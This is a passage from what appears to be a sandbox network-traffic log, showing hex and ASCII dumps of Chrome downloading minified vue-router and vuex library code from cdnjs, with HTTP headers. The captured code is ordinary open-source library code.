8 2f 5c 2f 24 2f 2c 22 22 29 2c 22 2f 22 3d 3d 3d 74 5b 30 5d 3f 74 3a 6e 75 6c 6c 3d 3d 65 3f 74 3a 67 28 65 2e 70 61 74 
68 2b 22 2f 22 2b 74 29 7d 66 75 6e 63 74 69 6f 6e 20 48 28 74 2c 65 2c 72 2c 6f 29 7b 76 61 72 20 69 3d 22 73 74 72 69 
6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 3f 7b 70 61 74 68 3a 74 7d 3a 74 3b 69 66 28 69 2e 6e 61 6d 65 7c 7c 69 2e 5f 6e 
6f 72 6d 61 6c 69 7a 65 64 29 72 65 74 75 72 6e 20 69 3b 69 66 
Data Ascii: ush(p.path),e[p.path]=p),u&&(r[u]||(r[u]=p))}function P(t,e){return Mt(t,[],e)}function U(t,e){return t=t.replace(/\/$
/,""),"/"===t[0]?t:null==e?t:g(e.path+"/"+t)}function H(t,e,r,o){var i="string"==typeof t?{path:t}:t;if(i.name||i._normalized)return 
i;if

2022-05-13 14:40:11 UTC 683 IN Data Raw: 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 75 26 26 28 75 3d 7b 70 61 74 68 3a 75 7d 29 2c 
21 75 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 75 29 72 65 74 75 72 6e 20 69 28 6e 75 6c 6c 2c 6e 29 
3b 76 61 72 20 63 3d 75 2c 73 3d 63 2e 6e 61 6d 65 2c 66 3d 63 2e 70 61 74 68 2c 68 3d 6e 2e 71 75 65 72 79 2c 6c 3d 
6e 2e 68 61 73 68 2c 64 3d 6e 2e 70 61 72 61 6d 73 3b 69 66 28 68 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2
8 22 71 75 65 72 79 22 29 3f 63 2e 71 75 65 72 79 3a 68 2c 6c 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 
68 61 73 68 22 29 3f 63 2e 68 61 73 68 3a 6c 2c 64 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 70 61 72 61 
6d 73 22 29 3f 63 2e 70 61 72 61 6d 73 3a 64 2c 73 29 7b 70 5b 73 
Data Ascii: if("string"==typeof u&&(u={path:u}),!u||"object"!=typeof u)return i(null,n);var c=u,s=c.name,f=c.path,h=n.qu
ery,l=n.hash,d=n.params;if(h=c.hasOwnProperty("query")?c.query:h,l=c.hasOwnProperty("hash")?c.hash:l,d=c.hasOw
nProperty("params")?c.params:d,s){p[s
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2022-05-13 14:40:11 UTC 684 IN Data Raw: 29 7b 76 61 72 20 75 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 69 2e 73 65 6c 
65 63 74 6f 72 29 3b 69 66 28 75 29 7b 76 61 72 20 63 3d 69 2e 6f 66 66 73 65 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 
74 79 70 65 6f 66 20 69 2e 6f 66 66 73 65 74 3f 69 2e 6f 66 66 73 65 74 3a 7b 7d 3b 74 3d 4a 28 75 2c 63 3d 58 28 63 29 
29 7d 65 6c 73 65 20 4e 28 69 29 26 26 28 74 3d 51 28 69 29 29 7d 65 6c 73 65 20 61 26 26 4e 28 69 29 26 26 28 74 3d 
51 28 69 29 29 3b 74 26 26 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 74 2e 78 2c 74 2e 79 29 7d 7d 29 7d 7d 66 75 
6e 63 74 69 6f 6e 20 44 28 29 7b 76 61 72 20 74 3d 47 28 29 3b 74 26 26 28 4b 74 5b 74 5d 3d 7b 78 3a 77 69 6e 64 6f 7
7 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 79 3a 77 69 6e 64 6f 77 
Data Ascii: ){var u=document.querySelector(i.selector);if(u){var c=i.offset&&"object"==typeof i.offset?i.offset:{};t=J(u
,c=X(c))}else N(i)&&(t=Q(i))}else a&&N(i)&&(t=Q(i));t&&window.scrollTo(t.x,t.y)}})}}function D(){var t=G();t&&(Kt[t]={x:
window.pageXOffset,y:window

2022-05-13 14:40:11 UTC 685 IN Data Raw: 2b 63 2b 22 3a 20 22 2b 74 3b 75 7c 7c 28 75 3d 65 28 74 29 3f 74 3a 6e 65 77 20 45 72 72 6f 72 28 72 29 2c 
6f 28 75 29 29 7d 29 3b 74 72 79 7b 73 3d 74 28 70 2c 66 29 7d 63 61 74 63 68 28 74 29 7b 66 28 74 29 7d 69 66 28 73 
29 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 2e 74 68 65 6e 29 73 2e 74 68 65 6e 28 70 2c 
66 29 3b 65 6c 73 65 7b 76 61 72 20 68 3d 73 2e 63 6f 6d 70 6f 6e 65 6e 74 3b 68 26 26 22 66 75 6e 63 74 69 6f 6e 22 3
d 3d 74 79 70 65 6f 66 20 68 2e 74 68 65 6e 26 26 68 2e 74 68 65 6e 28 70 2c 66 29 7d 7d 7d 29 2c 69 7c 7c 6f 28 29 7d 
7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 69 74 28 74 2e 6d 61 70 28 66 75 6e 63 74 
69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 
Data Ascii: +c+": "+t;u||(u=e(t)?t:new Error(r),o(u))});try{s=t(p,f)}catch(t){f(t)}if(s)if("function"==typeof s.then)s.then(p,f);e
lse{var h=s.component;h&&"function"==typeof h.then&&h.then(p,f)}}}),i||o()}}function ot(t,e){return it(t.map(function(t)
{return Object.ke

2022-05-13 14:40:11 UTC 687 IN Data Raw: 29 7b 72 65 74 75 72 6e 20 79 74 28 74 2c 6f 2c 69 2c 65 2c 72 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 
28 74 2c 65 2c 72 2c 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 69 2c 61 2c 75 29 7b 72 65 74 75 72 
6e 20 74 28 69 2c 61 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 75 28 74 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 
70 65 6f 66 20 74 26 26 6e 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 74 28 74 2c 65 2e 69 6e 73 74 61 6e 
63 65 73 2c 72 2c 6f 29 7d 29 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 74 2c 65 2c 72 2c 6e 29 7b 65 5b 72 5d 3f 
74 28 65 5b 72 5d 29 3a 6e 28 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 74 28 74 2
c 65 2c 72 2c 6e 29 7d 2c 31 36 29 7d 66 75 6e 63 74 69 6f 6e 20 
Data Ascii: ){return yt(t,o,i,e,r)})}function yt(t,e,r,n,o){return function(i,a,u){return t(i,a,function(t){u(t),"function"==typeof 
t&&n.push(function(){vt(t,e.instances,r,o)})})}}function vt(t,e,r,n){e[r]?t(e[r]):n()&&setTimeout(function(){vt(t,e,r,n)},16)}fu
nction 

2022-05-13 14:40:11 UTC 688 IN Data Raw: 65 64 5b 66 5d 3b 69 66 28 21 6c 29 72 65 74 75 72 6e 20 70 5b 63 5d 3d 6e 75 6c 6c 2c 75 28 29 3b 76 61 
72 20 64 3d 70 5b 63 5d 3d 6c 2e 63 6f 6d 70 6f 6e 65 6e 74 73 5b 63 5d 3b 72 65 74 75 72 6e 20 61 2e 72 65 67 69 73 
74 65 72 52 6f 75 74 65 49 6e 73 74 61 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 6c 2e 6
9 6e 73 74 61 6e 63 65 73 5b 63 5d 3b 28 65 26 26 72 21 3d 3d 74 7c 7c 21 65 26 26 72 3d 3d 3d 74 29 26 26 28 6c 2e 
69 6e 73 74 61 6e 63 65 73 5b 63 5d 3d 65 29 7d 2c 28 61 2e 68 6f 6f 6b 7c 7c 28 61 2e 68 6f 6f 6b 3d 7b 7d 29 29 2e 70 
72 65 70 61 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 6c 2e 69 6e 73 74 61 6e 63 65 73 5b 63 5d 3d 65 2e 
63 6f 6d 70 6f 6e 65 6e 74 49 6e 73 74 61 6e 63 65 7d 2c 61 2e 70 72 6f 
Data Ascii: ed[f];if(!l)return p[c]=null,u();var d=p[c]=l.components[c];return a.registerRouteInstance=function(t,e){var 
r=l.instances[c];(e&&r!==t||!e&&r===t)&&(l.instances[c]=e)},(a.hook||(a.hook={})).prepatch=function(t,e){l.instances[c]
=e.componentInstance},a.pro

2022-05-13 14:40:11 UTC 689 IN Data Raw: 6b 2c 52 2e 61 74 74 72 73 3d 7b 68 72 65 66 3a 63 7d 3b 65 6c 73 65 7b 76 61 72 20 45 3d 64 28 74 68 69 
73 2e 24 73 6c 6f 74 73 2e 64 65 66 61 75 6c 74 29 3b 69 66 28 45 29 7b 45 2e 69 73 53 74 61 74 69 63 3d 21 31 3b 76 
61 72 20 4f 3d 4f 74 2e 75 74 69 6c 2e 65 78 74 65 6e 64 3b 28 45 2e 64 61 74 61 3d 4f 28 7b 7d 2c 45 2e 64 61 74 61 29 
29 2e 6f 6e 3d 6b 2c 28 45 2e 64 61 74 61 2e 61 74 74 72 73 3d 4f 28 7b 7d 2c 45 2e 64 61 74 61 2e 61 74 74 72 73 29 2
9 2e 68 72 65 66 3d 63 7d 65 6c 73 65 20 52 2e 6f 6e 3d 6b 7d 72 65 74 75 72 6e 20 74 28 74 68 69 73 2e 74 61 67 2c 
52 2c 74 68 69 73 2e 24 73 6c 6f 74 73 2e 64 65 66 61 75 6c 74 29 7d 7d 2c 48 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 
21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2c 49 74 3d 41 72 72 61 79 
Data Ascii: k,R.attrs={href:c};else{var E=d(this.$slots.default);if(E){E.isStatic=!1;var O=Ot.util.extend;(E.data=O({},E
.data)).on=k,(E.data.attrs=O({},E.data.attrs)).href=c}else R.on=k}return t(this.tag,R,this.$slots.default)}},Ht="undefin
ed"!=typeof window,It=Array

2022-05-13 14:40:11 UTC 691 IN Data Raw: 74 69 6f 6e 54 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 6f 3d 
74 68 69 73 2e 72 6f 75 74 65 72 2e 6d 61 74 63 68 28 74 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 29 3b 74 68 69 73 2e 
63 6f 6e 66 69 72 6d 54 72 61 6e 73 69 74 69 6f 6e 28 6f 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 75 70 64 61 74 65 52 
6f 75 74 65 28 6f 29 2c 65 26 26 65 28 6f 29 2c 6e 2e 65 6e 73 75 72 65 55 52 4c 28 29 2c 6e 2e 72 65 61 64 79 7c 7c 28 
6e 2e 72 65 61 64 79 3d 21 30 2c 6e 2e 72 65 61 64 79 43 62 73 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 
74 29 7b 74 28 6f 29 7d 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 26 26 72 28 74 29 2c 74 26 26 21 6e 2e 72 6
5 61 64 79 26 26 28 6e 2e 72 65 61 64 79 3d 21 30 2c 6e 2e 72 65 
Data Ascii: tionTo=function(t,e,r){var n=this,o=this.router.match(t,this.current);this.confirmTransition(o,function(){n.
updateRoute(o),e&&e(o),n.ensureURL(),n.ready||(n.ready=!0,n.readyCbs.forEach(function(t){t(o)}))},function(t){r&&r(t),t&
&!n.ready&&(n.ready=!0,n.re

2022-05-13 14:40:11 UTC 692 IN Data Raw: 72 65 6e 74 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 74 2c 74 68 69 73 2e 63 62 26 26 74 68 69 73 2e 63 
62 28 74 29 2c 74 68 69 73 2e 72 6f 75 74 65 72 2e 61 66 74 65 72 48 6f 6f 6b 73 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 
74 69 6f 6e 28 72 29 7b 72 26 26 72 28 74 2c 65 29 7d 29 7d 3b 76 61 72 20 59 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 
7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 2e 63 61 6c 6c 28 74 68 69 73 2
c 65 2c 72 29 3b 76 61 72 20 6f 3d 65 2e 6f 70 74 69 6f 6e 73 2e 73 63 72 6f 6c 6c 42 65 68 61 76 69 6f 72 3b 6f 26 26 42 
28 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 6f 70 73 74 61 74 65 22 2c 66 7
5 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 6e 2e 63 75 72 
Data Ascii: rent;this.current=t,this.cb&&this.cb(t),this.router.afterHooks.forEach(function(r){r&&r(t,e)})};var Yt=function(t)
{function e(e,r){var n=this;t.call(this,e,r);var o=e.options.scrollBehavior;o&&B(),window.addEventListener("popstate",functi
on(t){var r=n.cur

2022-05-13 14:40:11 UTC 693 IN Data Raw: 28 74 29 7d 2c 72 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 70 6c 61 63 65 3d 66 75 6e 63 74 69 6f 
6e 28 74 2c 65 2c 72 29 7b 74 68 69 73 2e 74 72 61 6e 73 69 74 69 6f 6e 54 6f 28 74 2c 66 75 6e 63 74 69 6f 6e 28 74 29 
7b 6b 74 28 74 2e 66 75 6c 6c 50 61 74 68 29 2c 65 26 26 65 28 74 29 7d 2c 72 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 
65 2e 67 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 2e 67 6f 28 74 29 7d 2c 65 
2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 73 75 72 65 55 52 4c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 
74 68 69 73 2e 63 75 72 72 65 6e 74 2e 66 75 6c 6c 50 61 74 68 3b 77 74 28 29 21 3d 3d 65 26 26 28 74 3f 78 74 28 65 
29 3a 6b 74 28 65 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 
Data Ascii: (t)},r)},e.prototype.replace=function(t,e,r){this.transitionTo(t,function(t){kt(t.fullPath),e&&e(t)},r)},e.prototype.g
o=function(t){window.history.go(t)},e.prototype.ensureURL=function(t){var e=this.current.fullPath;wt()!==e&&(t?xt(e):kt(
e))},e.prototype.
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2022-05-13 14:40:11 UTC 695 IN Data Raw: 69 73 2e 6d 6f 64 65 3d 65 2c 65 29 7b 63 61 73 65 22 68 69 73 74 6f 72 79 22 3a 74 68 69 73 2e 68 69 73 74 
6f 72 79 3d 6e 65 77 20 59 74 28 74 68 69 73 2c 74 2e 62 61 73 65 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 68 61 73 68 
22 3a 74 68 69 73 2e 68 69 73 74 6f 72 79 3d 6e 65 77 20 57 74 28 74 68 69 73 2c 74 2e 62 61 73 65 2c 74 68 69 73 2e 
66 61 6c 6c 62 61 63 6b 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 61 62 73 74 72 61 63 74 22 3a 74 68 69 73 2e 68 69 73 
74 6f 72 79 3d 6e 65 77 20 47 74 28 74 68 69 73 2c 74 2e 62 61 73 65 29 7d 7d 2c 74 65 3d 7b 63 75 72 72 65 6e 74 52 
6f 75 74 65 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 5a 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 3d 66 75 6e 63 
74 69 6f 6e 28 74 2c 65 2c 72 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 
Data Ascii: is.mode=e,e){case"history":this.history=new Yt(this,t.base);break;case"hash":this.history=new Wt(this,t.base
,this.fallback);break;case"abstract":this.history=new Gt(this,t.base)}},te={currentRoute:{}};return Zt.prototype.match=f
unction(t,e,r){return this.

2022-05-13 14:40:11 UTC 696 IN Data Raw: 65 3b 72 65 74 75 72 6e 20 65 3f 5b 5d 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 2e 6d 61 74 63 
68 65 64 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 
74 2e 63 6f 6d 70 6f 6e 65 6e 74 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 
63 6f 6d 70 6f 6e 65 6e 74 73 5b 65 5d 7d 29 7d 29 29 3a 5b 5d 7d 2c 5a 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 73 6f 
6c 76 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 6e 3d 48 28 74 2c 65 7c 7c 74 68 69 73 2e 68 6
9 73 74 6f 72 79 2e 63 75 72 72 65 6e 74 2c 72 2c 74 68 69 73 29 2c 6f 3d 74 68 69 73 2e 6d 61 74 63 68 28 6e 2c 65 29 
2c 69 3d 6f 2e 72 65 64 69 72 65 63 74 65 64 46 72 6f 6d 7c 7c 6f 
Data Ascii: e;return e?[].concat.apply([],e.matched.map(function(t){return Object.keys(t.components).map(function(e){ret
urn t.components[e]})})):[]},Zt.prototype.resolve=function(t,e,r){var n=H(t,e||this.history.current,r,this),o=this.match(n,e),i=o.
redirectedFrom||o

2022-05-13 14:40:11 UTC 697 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

31 192.168.2.3 49749 104.17.25.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:11 UTC 697 OUT GET /ajax/libs/vuex/2.3.1/vuex.min.js HTTP/1.1
Host: cdnjs.cloudflare.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:11 UTC 697 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:11 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=30672000
ETag: W/"5eb0402f-290d"
Last-Modified: Mon, 04 May 2020 16:17:51 GMT
cf-cdnjs-via: cfworker/kv
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: HIT
Age: 253117
Expires: Wed, 03 May 2023 14:40:11 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lgci4j3mUsoimr%2B2%2FySe8xmsWr41
q9KJaqAdfz1GUgl2HFfzUyMiBgw5ON3MH7HrIRiLR91a9whzm9%2B9XY%2FBnjwxu1XqHqZS%2BFp4SxYO2sL20miV
gPHCnmC8g5Q9RIo5sWDW5soQ"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=15780000
Server: cloudflare
CF-RAY: 70ac25d7c9c09b3d-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-05-13 14:40:11 UTC 698 IN Data Raw: 31 39 36 38 0d 0a 2f 2a 2a 0a 20 2a 20 76 75 65 78 20 76 32 2e 33 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 
37 20 45 76 61 6e 20 59 6f 75 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 4d 49 54 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 
6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 
6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 
66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 6
6 69 6e 65 28 65 29 3a 74 2e 56 75 65 78 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 
65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 
Data Ascii: 1968/** * vuex v2.3.0 * (c) 2017 Evan You * @license MIT */!function(t,e){"object"==typeof exports&&"undefin
ed"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.Vuex=e()}(this,function(){"use 
strict";function t(t)
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2022-05-13 14:40:11 UTC 698 IN Data Raw: 28 22 76 75 65 78 3a 69 6e 69 74 22 2c 74 29 2c 78 2e 6f 6e 28 22 76 75 65 78 3a 74 72 61 76 65 6c 2d 74 6f 
2d 73 74 61 74 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 65 29 7d 29 
2c 74 2e 73 75 62 73 63 72 69 62 65 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 78 2e 65 6d 69 74 28 22 76 75 65 78 
3a 6d 75 74 61 74 69 6f 6e 22 2c 74 2c 65 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 65 29 7b 4f 62 6a 65 63 
74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 28 7
4 5b 6e 5d 2c 6e 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 74 26 
26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 7d 66 75 
Data Ascii: ("vuex:init",t),x.on("vuex:travel-to-state",function(e){t.replaceState(e)}),t.subscribe(function(t,e){x.emit
("vuex:mutation",t,e)}))}function e(t,e){Object.keys(t).forEach(function(n){return e(t[n],n)})}function n(t){return null
!==t&&"object"==typeof t}fu

2022-05-13 14:40:11 UTC 700 IN Data Raw: 6e 67 74 68 2d 31 5d 3b 74 2e 5f 77 69 74 68 43 6f 6d 6d 69 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 45 2e 73 
65 74 28 61 2c 66 2c 6f 2e 73 74 61 74 65 29 7d 29 7d 76 61 72 20 64 3d 6f 2e 63 6f 6e 74 65 78 74 3d 63 28 74 2c 73 
2c 6e 29 3b 6f 2e 66 6f 72 45 61 63 68 4d 75 74 61 74 69 6f 6e 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 
6f 3d 73 2b 6e 3b 6c 28 74 2c 6f 2c 65 2c 64 29 7d 29 2c 6f 2e 66 6f 72 45 61 63 68 41 63 74 69 6f 6e 28 66 75 6e 63 74 
69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 6f 3d 73 2b 6e 3b 70 28 74 2c 6f 2c 65 2c 64 29 7d 29 2c 6f 2e 66 6f 72 45 61 63 
68 47 65 74 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 6f 3d 73 2b 6e 3b 68 28 74 2c 6f 2c 65 2c 
64 29 7d 29 2c 6f 2e 66 6f 72 45 61 63 68 43 68 69 6c 64 28 
Data Ascii: ngth-1];t._withCommit(function(){E.set(a,f,o.state)})}var d=o.context=c(t,s,n);o.forEachMutation(function(e,n)
{var o=s+n;l(t,o,e,d)}),o.forEachAction(function(e,n){var o=s+n;p(t,o,e,d)}),o.forEachGetter(function(e,n){var o=s+n;h
(t,o,e,d)}),o.forEachChild(

2022-05-13 14:40:11 UTC 701 IN Data Raw: 6d 69 74 2c 67 65 74 74 65 72 73 3a 72 2e 67 65 74 74 65 72 73 2c 73 74 61 74 65 3a 72 2e 73 74 61 74 65 
2c 72 6f 6f 74 47 65 74 74 65 72 73 3a 74 2e 67 65 74 74 65 72 73 2c 72 6f 6f 74 53 74 61 74 65 3a 74 2e 73 74 61 74 65 
7d 2c 65 2c 69 29 3b 72 65 74 75 72 6e 20 6f 28 73 29 7c 7c 28 73 3d 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 
29 29 2c 74 2e 5f 64 65 76 74 6f 6f 6c 48 6f 6f 6b 3f 73 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 
72 6f 77 20 74 2e 5f 64 65 76 74 6f 6f 6c 48 6f 6f 6b 2e 65 6d 69 74 28 22 76 75 65 78 3a 65 72 72 6f 72 22 2c 65 29 2c 
65 7d 29 3a 73 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 74 2c 65 2c 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 74 2e 5f 77 72 
61 70 70 65 64 47 65 74 74 65 72 73 5b 65 5d 3f 76 6f 69 64 
Data Ascii: mit,getters:r.getters,state:r.state,rootGetters:t.getters,rootState:t.state},e,i);return o(s)||(s=Promise.resolve(s)),
t._devtoolHook?s.catch(function(e){throw t._devtoolHook.emit("vuex:error",e),e}):s})}function h(t,e,n,o){return t._wrapp
edGetters[e]?void

2022-05-13 14:40:11 UTC 702 IN Data Raw: 73 2e 24 73 74 6f 72 65 3d 74 2e 73 74 6f 72 65 3a 74 2e 70 61 72 65 6e 74 26 26 74 2e 70 61 72 65 6e 74 2e 
24 73 74 6f 72 65 26 26 28 74 68 69 73 2e 24 73 74 6f 72 65 3d 74 2e 70 61 72 65 6e 74 2e 24 73 74 6f 72 65 29 7d 76 
61 72 20 6e 3d 4e 75 6d 62 65 72 28 74 2e 76 65 72 73 69 6f 6e 2e 73 70 6c 69 74 28 22 2e 22 29 5b 30 5d 29 3b 69 66 
28 6e 3e 3d 32 29 7b 76 61 72 20 6f 3d 74 2e 63 6f 6e 66 69 67 2e 5f 6c 69 66 65 63 79 63 6c 65 48 6f 6f 6b 73 2e 69 6e 
64 65 78 4f 66 28 22 69 6e 69 74 22 29 3e 2d 31 3b 74 2e 6d 69 78 69 6e 28 6f 3f 7b 69 6e 69 74 3a 65 7d 3a 7b 62 65 6
6 6f 72 65 43 72 65 61 74 65 3a 65 7d 29 7d 65 6c 73 65 7b 76 61 72 20 72 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 
6e 69 74 3b 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 6e 69 74 3d 
Data Ascii: s.$store=t.store:t.parent&&t.parent.$store&&(this.$store=t.parent.$store)}var n=Number(t.version.split(".")[
0]);if(n>=2){var o=t.config._lifecycleHooks.indexOf("init")>-1;t.mixin(o?{init:e}:{beforeCreate:e})}else{var r=t.prototy
pe._init;t.prototype._init=

2022-05-13 14:40:11 UTC 704 IN Data Raw: 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 24 2e 70 72 6f 74 6f 74 79 70 65 2c 
4f 29 3b 76 61 72 20 4d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 72 6f 6f 
74 3d 6e 65 77 20 24 28 74 2c 21 31 29 2c 74 2e 6d 6f 64 75 6c 65 73 26 26 65 28 74 2e 6d 6f 64 75 6c 65 73 2c 66 75 
6e 63 74 69 6f 6e 28 74 2c 65 29 7b 6e 2e 72 65 67 69 73 74 65 72 28 5b 65 5d 2c 74 2c 21 31 29 7d 29 7d 3b 4d 2e 70 
72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 64 75 63 6
5 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2e 67 65 74 43 68 69 6c 64 28 65 29 7d 2c 74 68 
69 73 2e 72 6f 6f 74 29 7d 2c 4d 2e 70 72 6f 74 6f 74 79 70 65 2e 
Data Ascii: Object.defineProperties($.prototype,O);var M=function(t){var n=this;this.root=new $(t,!1),t.modules&&e(t.mod
ules,function(t,e){n.register([e],t,!1)})};M.prototype.get=function(t){return t.reduce(function(t,e){return t.getChild(e)},this.ro
ot)},M.prototype.

2022-05-13 14:40:11 UTC 704 IN Data Raw: 66 61 35 0d 0a 28 6e 29 7d 3b 76 61 72 20 45 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 
